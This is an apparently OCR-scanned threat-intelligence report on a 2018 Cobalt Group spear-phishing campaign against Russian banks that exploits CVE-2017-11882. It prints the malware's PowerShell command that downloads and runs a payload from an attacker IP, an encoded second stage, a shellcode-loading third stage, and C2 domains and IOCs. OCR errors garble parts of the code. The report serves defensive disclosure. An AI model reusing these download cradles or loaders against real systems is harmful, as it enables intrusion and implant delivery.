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Last year November, we documented activities of the Cobalt Group using CVE-2017-11882. In December they

were already setting up for their next campaign. Today, on January 16th, the first wave of spear phishing emails

were delivered to the inboxes of Russian banks. Sadly, this time around, the group didn’t forget to BCC.

The emails were sent in the name of a large European bank in an attempt to social engineer the receiver into
trusting the email. The emails were quite plain with only a single question in the body and an attachment with the

name once.rtf. In other cases, we saw a file with the name 3agsnenue.rtf attached to an email that was also written

in Russian:

Tue 1/16/2018 11:18 AM
Daniel.L <Daniel.L@bankosantantder.com>
Request

once.rtf . ° Untitled attachment 00... _
7= 44 K8 127 bytes

Due to request of the head of the department of financial relations | send you the form necessary for filling
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Fig-1 Example of spear phishing email

The emails were sent from addresses on the domains bankosantantder.com and billing-cbr.ru, which were both set

up for this campaign specifically.
Analysis

The attachment abuses CVE-2017-11882 to start PowerShell with the following command:
powershell -nop -w hidden -c¢ “IEX ((new-object net.webclient).downloadstring(‘http://46.21.147.61:80/a’))”

This command downloads and executes a second stage, which is also a PowerShell script, but encoded:

$s5=New-0bject I0.MemoryStream(, [Convert]::FromBase645tring("H4sTAAAAAAAAALLXDW/
aSBD+HHEFdYpkWyWAgeTS5pG6Bgy4vAVjQ5KLosWImE3WXmqv(811//3GB1p65Se9yd9]ZsrTenZmdeebVDpUnjoyZL/
uCUOXEo3HCRKRUC4X ] puhK5ULSqBYWaeTLbDtb3AVU3qlidd9hQmKaIMrvhaMR]jnGoaMePOLALBUKSLS rSRBZISRpT /S
eiocJRvpVGCF/QuwpI9@ruQyqUgCVyk3aDVgilCzKLbDx8aaRzTSG6/
52@gqUZLOcM4ZTTRd+aIM1zSmIBPSPfW18rtyfFdqczHHTEe2aWB/
CQahiGRnPeHjzIKSs+IMaupvvbenbzY LxW2pS9Tj FPNNXZIIKGIcKS5qit f9ezCyWZFNDXP/FgkYiFLUxbVqil3136QK9/f6q7qBbAtp]
KNI+XnJmYytxyaCssRIIO2CKp6qRs9igeqHUcp5@XLlo3azU2icRpKFFM41jcXKofEjB2156uCIcDgmilttONd7HNTKpBRyAdVIxnpx5763
BN7PXbwVp+ovtT+IAx2eF7GgF74WXokqgQjkNsKR3EgQA/CKvCBdFNvqRgjzYSCocvSLpRKUemDELiKeAOTx5M4pfqtcp057ub2dnftnjMp/
15Q0sefa8WydudXjQrnxBC03haPcz/15dnA3TxknNM4Ifh65ThpgEWluIhwy fx+c2mt0owt0c@BKe7IBKKgpuwhKm]jt41AzRm5ds rZD
Jb7zmVjnkg+MT@ApiQvIRmaB@TNbUbIWKIAGE/
VXDWALKC7ql3abDZ3559A5Ha4Dh]isoohZz@i4pDMaekgKAcYbs j LEQRLOXvEVZTLpmPE7 kXd6u/AunuGoalEhmnPrgXYJgdK+ozzD
NUikgqHEWpuHBbsVVBTxaSBOWdRAIIewSewk2HhyCxoY1L8c4DolYTKbrj iNATqwGIYHAdQH3YplccbDihR/BLtfalssyLDag/
SgdIQAA4Xsqhd4L]ZQg9Tii8] 7j+rowll)+@LMRO5@nt TwVbByNzBImp/
SzTnDxDcwculgCbFYsQhMn9KyetYwo@H4pDSmN4LngRrxP7AdmdN fwIuF1Wa@rmr+5T/Z9p923G8mobZ@jtg7W/ vkA+Qt2btkzoLtk
led5Io3eZYdZ6874EyIm7AVXzAgCRED301bYG3QTR9jI2FLT9XpnVkG1Wn1YgzwQamfeD4gM(rZ+6sEaauuwZwl fpctbdmMBnlatéynvl0
vile i EViXNWvyad fcoIMgWpBhRTY zHp+KFZLntn3cwgeczCvrVbz9t0y9+ym/
QYSVIX38mObFTylk+tJEky8gT120GnvHv3atchgHo4fSa@fTPhIMGD1p+HGNE@MvzpoloHXsVIXbSB1jXMjp2/
ZIBd1T4cVb+h594FbcVTIWLSN/BWLrIenskFmnkHGuLmal rwoGzScZFZMnzu261mfkWGNCS8xwabl21702HWSXX4 /tdfvSN1e@nHcM
ED9z42Wy23H9exLPIRe7 /6xbFxFbdxFzwgl7HpbtNy2WHjh@hivzoDf3d87xY1Ku9316GeItIKncnIWlcix39HExp9iqB85rmSwTt9z LDHx
pTDplryo6rnd9iXtkVkfA0z9HVTVCQS58YZje60qulp/K7xDurRCIY1Mv1zTfuZMz@dgg3ivDd 13mPZww+mQGAVagcItRDyqsurITXiYNvEN
¥b2qUEEasC5NZhi890UBd5Wx3612647zaVvGgfef fPMrMEF78X19GKNTnrGG+PRD637edtNM78j dHHxCETVUSHPknmEWGX /9883 T60kyX
mkD/Q0PdVzxKxtWt/IBEYDk17 fbh6oHFEQQweMI rsawXiXPhZw/5154TxYdvUbGEmMuUrCsVV9d6co3Qvl7F99v ffhwDYbsi1BWFE09GgVyW
awB81SoValL2Vp3pFL7zd/0ZYbbRvBopZ9z6ABvAiIn1+kF7ZQL+USEhX5n7HelcjB86n+09fe9vzhIE/6V4iFILWS/3Pgn7v]jvEE@xk8DgQC/
gdDvNvBWpXQAezI4HnoY IW+yebNQfpvIkAINLQT1YKH)XygFCCXuGIZ9+Vs71bFSMII7 lyb2Ywx9B3jalYewr3dZMOcbKV+UEQEFI rQq/
BXGOZj1U2f7LfFHWYErO+EUZUS/C6Htiizn@RoqjUCYBFSIRwWI4fwon+7TYNAAA=")); IEX (New-Object I0.StreamReader(
New-0Object I0.Compression.GzipStream($s, [I0.Compression.CompressionMode]: :Decompress))).ReadToEnd();

Fig-2 Second stage

This script decodes to the third stage of the attack, another PowerShell script. This stage-three script is used to

load a small piece of embedded shellcode into memory and run it like so:
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[Bytel]l$var_code = [System.Convert]::FromBase64String(

0

$var_buffer = [System.Runtime.InteropServices.Marshall::GetDelegateForFunctionPointer((func_get_proc_address
kernel32.d11 VirtualAllec), (func_get_delegate_type @([IntPtr]l, [UInt32], [UInt32], [UInt32]) ([IntPtr]

1)).Invoke( [IntPtr]::Zero, %$var_code.Length, s )
[System.Runtime. InteropServices.Marshall::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_hthread = [System.Runtime.InteropServices.Marshall::GetDelegateForFunctionPointer((

func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtrl]
, [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,?,%$var_buffer, [IntPtr]::Zero,n, [
IntPtr]::Zero)

[System.Runtime. InteropServices.Marshall::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll
WaitForSingleObject), (func_get_delegate_type @( [IntPtr], [Int32]1)}).Invoke($var_hthread, ) |
Out-Null

Fig-3 Stage-three script

The shellcode starts the Cobalt Strike stager in a new threat and starts it up. This stager will initiate connectivity

with the C2 server to install the Cobalt Strike implant.
Infrastructure

As shown, the stager beacons out to helpdesk-oracle.com, which was registered by a person using the email

address krystianwalczak@yandex.com. This email address pointed us to another domain, which was registered on

the same date and follows a similar pattern:

Focus Email Registered Expires

25

help-desc-me.com krystianwalczak@yandex.com 2017-12-20 2018-12-20
helpdesk-oracle.com krystianwalczak@yandex.com 2017-12-20 2018-12-20

Fig-4 WHOIS information for the malicious email addresses

Right now, the server to which the domain help-desc-me.com points doesn’t seem to be active, nor have we seen
any malicious samples connect to it. We have marked it as malicious and listed it in the IOCs below, as we believe

it will be part of either a next stage of the attack shown above or used in the next wave of spear phishing emails.
Indicators of Compromise (I0C)

All of the IOCs listed below are also available in the RiskIQ Community Public Project located here:
https://community.riskiq.com/projects/f0cd2fc9-a361-2a4c-4489-a21ddf98349b

We have not added the hashes of the staging scripts because they do not appear on the system itself—they live in

memory during the initial stages of the attack.

Filesystem IOCs
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Filename(s) Note MD5

CVE-2017-11882 RTF 2e0cc6890fbf7a469d6c0ae70b5859¢e7
Once.rtf, 3agsnenue.rtf

Network IOCs
Domain IP Address Note
bankosantantder.com 46.102.152.157 Sender domain
billing-cbr.ru 85.204.74.117 Sender domain
helpdesk-oracle.com 46.21.147.61 C2 server
help-desc-me.com 139.60.163.10 Secondary C2
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